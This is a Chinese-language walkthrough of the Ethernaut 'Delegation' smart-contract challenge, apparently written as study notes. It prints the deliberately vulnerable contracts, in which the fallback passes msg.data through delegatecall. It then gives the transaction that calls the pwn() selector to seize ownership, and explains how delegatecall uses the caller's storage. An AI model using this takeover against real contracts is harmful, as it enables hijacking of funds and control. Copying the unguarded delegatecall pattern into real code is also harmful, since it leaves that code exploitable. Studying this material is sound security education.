Skip to main content

Delegation

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

题目要求

这道题目的要求是获得Delegation合约的owner权限

题目分析

我们看到修改owner地址的方法是在Delegate合约的pwn方法。这个方法可以通过Delegationfallback方法中address(delegate).delegatecall(msg.data)来实现代理调用修改Delegation中的owner

攻击步骤

直接调用Delegationfallback方法。有两种方式可以直接调用合约的fallback方法

    1. 调用合约中不存在的方法时,如果合约提供了fallback方法,则会自动调用合约的fallback方法
    1. 直接给合约转账 ETH 时,如果合约中没有实现receive方法,但是实现了fallback。则会自动调用合约的fallback方法
// 获取pwn()方法的编码
web3.eth.abi.encodeFunctionSignature("pwn()") => "0xdd365b8b"
// 调用fallback方法
await sendTransaction({
from: player,
to: instance,
value: 0,
data: "0xdd365b8b"
})

题目知识点

  1. fallback方法的调用方式
  2. delegatecall方法香瓜知识点
    1. A 合约delegatecallB 合约,则 B 合约的msg.sender是 A 合约的msg.sender
    2. A 合约delegatecallB 合约,修改的状态变量是 A 合约的状态变量,而不是 B 合约的
    3. A 合约delegatecallB 合约,则 B 合约的状态变量顺序要和 A 合约的状态变量顺序严格保持一致。否则会出现slot修改错误导致脏数据